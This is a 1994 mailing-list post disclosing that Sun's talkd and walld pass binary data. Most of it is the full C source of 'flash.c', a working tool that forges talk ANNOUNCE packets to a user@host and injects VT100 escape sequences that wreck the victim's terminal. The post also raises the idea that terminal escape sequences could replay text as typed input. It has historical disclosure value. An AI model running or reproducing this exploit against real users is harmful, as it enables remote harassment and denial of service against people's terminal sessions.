Wall and talkd pass binary data

Rob Quinn (rjq@phys.ksu.edu)
Tue, 19 Jul 1994 18:06:45 -0500 (CDT)

 talkd and walld both pass binary data (on Sun's at least). Here's some source
code I got from a friend. I informed Sun about the wall problem several months
ago. This source just sends a string to mess up your fonts and such, but I've
heard that some terminals have escape sequences that will buffer strings and
re-issue them as if the user had typed them (I know there's an expression or
term for that, but I can't think of it). I searced for this sequence for xterm,
but didn't find one. I didn't look at any other terminal types.

 The date of this mail/source was June 9, so it's been out a while.

>> /* flash.c */
>> 
>> /* This little program is intended to quickly mess up a user's
>>    terminal by issuing a talk request to that person and sending
>>    vt100 escape characters that force the user to logout or kill
>>    his/her xterm in order to regain a sane view of the text.
>>    It the user's message mode is set to off (mesg n) he/she will
>>    be unharmed. 
>>    This program is really nasty :-)
>> 
>>    Usage: flash user@host
>> 
>>    try compiling with: gcc -o flash flash.c
>> */
>> 
>> 
>> #include <sys/types.h>
>> #include <sys/socket.h>
>> #include <netinet/in.h>
>> #include <netdb.h>
>> #include <stdio.h>
>> #include <strings.h>
>> 
>> /* this should really be in an include file..  */
>> 
>> #define OLD_NAME_SIZE 9
>> #define NAME_SIZE    12
>> #define TTY_SIZE     16 
>> typedef struct {
>>         char    type;
>>         char    l_name[OLD_NAME_SIZE];
>>         char    r_name[OLD_NAME_SIZE];
>>         char    filler;
>>         u_long  id_num;
>>         u_long  pid;
>>         char    r_tty[TTY_SIZE];
>>         struct  sockaddr_in addr;
>>         struct  sockaddr_in ctl_addr;
>> } OLD_MSG;
>> 
>> typedef struct {
>>         u_char  vers;
>>         char    type;
>>         u_short filler;
>>         u_long  id_num;
>>         struct  sockaddr_in addr;
>>         struct  sockaddr_in ctl_addr;
>>         long    pid;
>>         char    l_name[NAME_SIZE];
>>         char    r_name[NAME_SIZE];
>>         char    r_tty[TTY_SIZE];
>> } CTL_MSG;
>> 
>> #define TALK_VERSION    1               /* protocol version */
>> 
>> /* Types */
>> #define LEAVE_INVITE    0
>> #define LOOK_UP         1
>> #define DELETE          2
>> #define ANNOUNCE        3
>> 
>> int	current = 1; 	/* current id..  this to avoid duplications */
>> 
>> struct sockaddr_in *getinaddr(char *hostname, u_short port)
>> {
>> static  struct sockaddr    addr;
>> struct  sockaddr_in *address;
>> struct  hostent     *host;
>> 
>> address = (struct sockaddr_in *)&addr;
>> (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
>> /* fill in the easy fields */
>> address->sin_family = AF_INET;
>> address->sin_port = htons(port);
>> /* first, check if the address is an ip address */
>> address->sin_addr.s_addr = inet_addr(hostname);
>> if ( (int)address->sin_addr.s_addr == -1)
>>         {
>>         /* it wasn't.. so we try it as a long host name */
>>         host = gethostbyname(hostname);
>>         if (host)
>>                 {
>>                 /* wow.  It's a host name.. set the fields */
>>                 /* ?? address->sin_family = host->h_addrtype; */
>>                 bcopy( host->h_addr, (char *)&address->sin_addr,
>>                         host->h_length);
>>                 }
>>         else
>>                 {
>>                 /* oops.. can't find it.. */
>> 		puts("Couldn't find address"); 
>> 		exit(-1);
>>                 return (struct sockaddr_in *)0;
>>                 }
>>         }
>> /* all done. */
>> return (struct sockaddr_in *)address;
>> }
>> 
>> SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
>> {
>> int 	s;
>> struct sockaddr sample; /* not used.. only to get the size */
>> 
>> s = socket(AF_INET, SOCK_DGRAM, 0);
>> sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
>> } 
>> 
>> 
>> new_ANNOUNCE(char *hostname, char *remote, char *local)
>> {
>> CTL_MSG	 packet; 
>> struct   sockaddr_in  *address;
>> 
>> /* create a packet */
>> address = getinaddr(hostname, 666 );  
>> address->sin_family = htons(AF_INET); 
>> 
>> bzero( (char *)&packet, sizeof(packet) );
>> packet.vers   = TALK_VERSION; 
>> packet.type   = ANNOUNCE;   
>> packet.pid    = getpid();
>> packet.id_num = current;
>> bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
>> bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
>> strncpy( packet.l_name, local, NAME_SIZE); 
>> strncpy( packet.r_name, remote, NAME_SIZE); 
>> strncpy( packet.r_tty, "", 1); 
>> 
>> SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
>> }
>> 
>> old_ANNOUNCE(char *hostname, char *remote, char *local)
>> {
>> OLD_MSG  packet;
>> struct   sockaddr_in  *address;
>> 
>> /* create a packet */
>> address = getinaddr(hostname, 666 );
>> address->sin_family = htons(AF_INET);
>> 
>> bzero( (char *)&packet, sizeof(packet) );
>> packet.type   = ANNOUNCE;
>> packet.pid    = getpid();
>> packet.id_num = current;
>> bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
>> bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
>> strncpy( packet.l_name, local, NAME_SIZE);
>> strncpy( packet.r_name, remote, NAME_SIZE);
>> strncpy( packet.r_tty, "", 1);
>> 
>> SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
>> }
>> 
>> main(int argc, char *argv[])
>> {
>> 	char	*hostname, *username; 
>> 	int	pid;
>> 
>> 	if ( (pid = fork()) == -1)  
>> 	 	{
>> 		perror("fork()");
>> 		exit(-1);
>> 		}
>> 	if ( !pid )
>> 		{
>> 		exit(0);
>> 		}
>> 	if (argc < 2) { 
>> 		puts("Usage: <finger info> ");
>> 		exit(5);
>> 	}
>>  	username = argv[1]; 
>> 	if ( (hostname = (char *)strchr(username, '@')) == NULL )	
>> 		{
>> 		puts("Invalid name.  ");
>> 		exit(-1);
>> 		}
>>         *hostname = '\0'; 
>> 	hostname++; 
>> 
>> 	if (*username == '~') 
>> 		username++; 
>> 
>> #define FIRST "\033c\033(0\033#8" 
>> #define SECOND "\033[1;3r\033[J"
>> #define THIRD  "\033[5m\033[?5h"
>> 	new_ANNOUNCE(hostname, username, FIRST);
>> 	old_ANNOUNCE(hostname, username, FIRST);
>> 	current++; 
>> 	new_ANNOUNCE(hostname, username, SECOND);
>> 	new_ANNOUNCE(hostname, username, SECOND);
>> 	current++;
>> 	new_ANNOUNCE(hostname, username, THIRD); 
>>  	old_ANNOUNCE(hostname, username, THIRD);
>> }
>> 
>> 

-- 
|                                                                          |
|                                                                Rob Quinn |
|                                                         rjq@phys.ksu.edu |
|                                                    QuinnBob@KSUVM.BITNET |